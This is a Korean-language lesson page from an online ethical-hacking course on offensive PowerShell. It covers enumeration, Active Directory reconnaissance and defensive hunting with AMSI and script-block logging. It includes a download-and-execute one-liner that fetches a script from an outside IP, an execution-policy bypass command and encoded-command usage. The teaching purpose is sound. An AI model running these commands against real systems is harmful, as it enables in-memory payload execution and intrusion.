공격자를 위한 PowerShell
공격적 PowerShell
공격자를 위한 PowerShell은(는) CoddyKit의 무료 Ethical Hacking Academy 강의입니다. 이것은 4개 중 4번째 강의입니다. 아래에서 전체 강의를 무료로 읽을 수 있으며, 내장 코드 에디터와 24/7 AI 튜터와 함께 브라우저에서 직접 실습할 수 있습니다. 이 강의는 Ethical Hacking Academy 학습 경로의 일부이며, 진행 상황이 웹과 CoddyKit 앱에 동기화됩니다. Ethical Hacking Academy 강의에는 총 4개의 강의가 포함되어 있습니다.
PowerShell을 사용하는 이유
PowerShell은 Windows에 기본 제공되며 OS 및 .NET과 깊이 통합되어 있고 관리자에게 신뢰받습니다. 따라서 공격자들이 선호하는 living-off-the-land 도구가 됩니다. 설치할 악성 코드가 필요하지 않기 때문입니다.
이 강의에서는 Windows를 공격하고 방어하기 위해 반드시 이해해야 하는 공격용 PowerShell 개념을 다룹니다.
Cmdlet과 파이프라인
PowerShell 명령은 동사-명사 형식의 cmdlet입니다. 풍부한 개체를 단순한 텍스트가 아닌 형태로 파이프라인을 따라 전달하므로 열거 작업이 강력해집니다.
Get-Process | Where-Object { $_.CPU -gt 10 } | Select-Object Name, Id시스템 열거
공격자는 기본 제공 cmdlet을 사용하여 호스트를 빠르게 조사합니다. 사용자, 서비스, 네트워크, 패치 등을 확인합니다.
Get-LocalUser
Get-Service | Where-Object Status -eq 'Running'
Get-NetTCPConnection -State Listen실행 정책은 보안이 아닙니다
실행 정책은 스크립트 파일의 실행을 제한하지만 보안 경계는 아닙니다. 간단한 여러 옵션으로 우회할 수 있으므로 방어자는 이에 의존해서는 안 됩니다.
powershell -ExecutionPolicy Bypass -File script.ps1다운로드 및 실행
일반적인 기법은 페이로드를 가져와 메모리에서 실행하므로 디스크에 남는 흔적을 최소화합니다. 따라서 네트워크와 AMSI 모니터링이 중요합니다.
IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.5/tool.ps1')인코딩된 명령
-EncodedCommand 옵션은 Base64로 인코딩된 PowerShell을 실행하며, 일반적인 검사와 단순한 필터에서 의도를 숨기는 데 자주 사용됩니다.
방어자는 로그에서 이러한 명령을 디코딩하여 실제로 실행된 내용을 확인합니다.
powershell -EncodedCommand <base64-here>공격용 프레임워크
성숙한 도구 모음은 이러한 기본 기능을 기반으로 구축됩니다.
- PowerSploit / PowerView - AD 열거 및 공격 후 활동.
- Empire / Covenant - 명령 및 제어.
- Nishang - 공격용 스크립트.
현재는 대부분의 도구가 방어 시스템의 시그니처에 의해 광범위하게 탐지됩니다.
Active Directory 정찰
도메인에서 PowerShell(PowerView 또는 AD 모듈)은 사용자, 그룹, 신뢰 관계를 매핑합니다. 이는 Domain Admin으로 가는 경로를 찾는 기반이 됩니다.
Get-ADUser -Filter * -Properties LastLogonDate
Get-ADGroupMember 'Domain Admins'AMSI와 로깅
Microsoft는 PowerShell 악용에 대응하기 위한 방어 기능을 추가했습니다.
- AMSI(Antimalware Scan Interface)는 실행 전에 스크립트 내용을 검사합니다.
- 스크립트 블록 로깅은 실행되는 내용을 기록합니다.
- 제한된 언어 모드는 위험한 기능을 제한합니다.
공격자는 AMSI를 우회하려고 하며, 방어자는 로그를 감시합니다.
방어적 헌팅
블루 팀은 다음과 같은 항목을 찾아 악성 PowerShell을 헌팅합니다.
- 인코딩되었거나 난독화된 명령.
DownloadString/IEX네트워크 가져오기.- 비정상적인 부모 프로세스(Office가 PowerShell을 생성하는 경우).
- AMSI 및 이벤트 ID 4104 스크립트 블록 로그.
윤리적으로 사용하기
이러한 기법은 강력하며 실제 침입에 직접 사용됩니다. 반드시 자신의 실습 환경에서 실행하거나 명시적인 서면 승인을 받은 경우에만 실행하십시오.
로그를 읽고 AMSI 탐지 결과를 식별하는 등 방어 측면을 연습하는 것은 공격 측면을 연습하는 것만큼 가치가 있습니다.
빠른 확인
실행 정책을 보안 통제로 평가해 보십시오.
복습
공격용 PowerShell을 살펴보았습니다.
- 개체 기반 cmdlet은 열거 작업을 강력하고 은밀하게 만듭니다(living-off-the-land).
- 다운로드 후 실행, 인코딩된 명령, PowerView 및 Empire와 같은 프레임워크가 사용됩니다.
- 실행 정책은 보안이 아니며, 실제 방어 기능은 AMSI와 스크립트 블록 로깅입니다.
- 항상 윤리적으로 활동하고 방어 측면도 학습하십시오.
이로써 Windows 내부 구조 과정이 끝납니다.
AI 튜터와 함께 Ethical Hacking Academy을(를) 배우세요 — 무료
브라우저에서 실제 코드를 작성하고 실행하며, 24/7 AI 튜터로부터 즉각적인 도움을 받고, 웹이나 앱에서 중단한 부분부터 계속 학습하세요.
- 코스
- 31
- 레슨
- 111
자주 묻는 질문
“공격자를 위한 PowerShell” 강의는 무료인가요?
네 — “공격자를 위한 PowerShell” 전체 내용을 이 웹사이트에서 무료로 읽을 수 있습니다. 인터랙티브하게 실습하려면(내장 코드 에디터와 24/7 AI 튜터), CoddyKit PRO로 업그레이드하면 Ethical Hacking Academy 강의 전체를 잠금 해제할 수 있습니다. Ethical Hacking Academy 강의에는 총 4개의 강의가 포함되어 있습니다.
“공격자를 위한 PowerShell”에서 뭘 배우나요?
공격적 PowerShell 브라우저에서 직접 실행하는 실습 코드로 Ethical Hacking Academy을(를) 배우며, 24/7 AI 튜터가 강의를 진행하면서 질문에 답변해줍니다.
Ethical Hacking Academy을(를) 시작하는 데 경험이 필요한가요?
사전 경험은 필요하지 않습니다. CoddyKit의 Ethical Hacking Academy은(는) 초급자부터 고급 학습자까지를 위해 구성되어 있으므로, 여기서 시작하거나 처음부터 시작할 수 있으며 자신의 속도대로 진행할 수 있습니다. 이것은 4개 중 4번째 강의입니다.
“공격자를 위한 PowerShell” 강의는 얼마나 걸리나요?
대부분의 CoddyKit 강의는 약 5~10분이 소요됩니다. 각 강의는 간결하고 인터랙티브하여 꾸준한 진행이 가능하며, 웹과 앱에서 중단한 부분부터 바로 시작할 수 있습니다.
이 Ethical Hacking Academy 강의에서 코드를 작성하고 실행할 수 있나요?
네. 모든 Ethical Hacking Academy 강의에는 내장 코드 에디터가 포함되어 있으므로, 브라우저에서 바로 실제 코드를 작성하고 실행한 후 즉시 AI 피드백을 받을 수 있습니다 — 로컬 설정이 필요 없습니다.
이 강의의 모든 강의
- Windows 아키텍처
- 레지스트리
- Windows 인증
- 공격자를 위한 PowerShell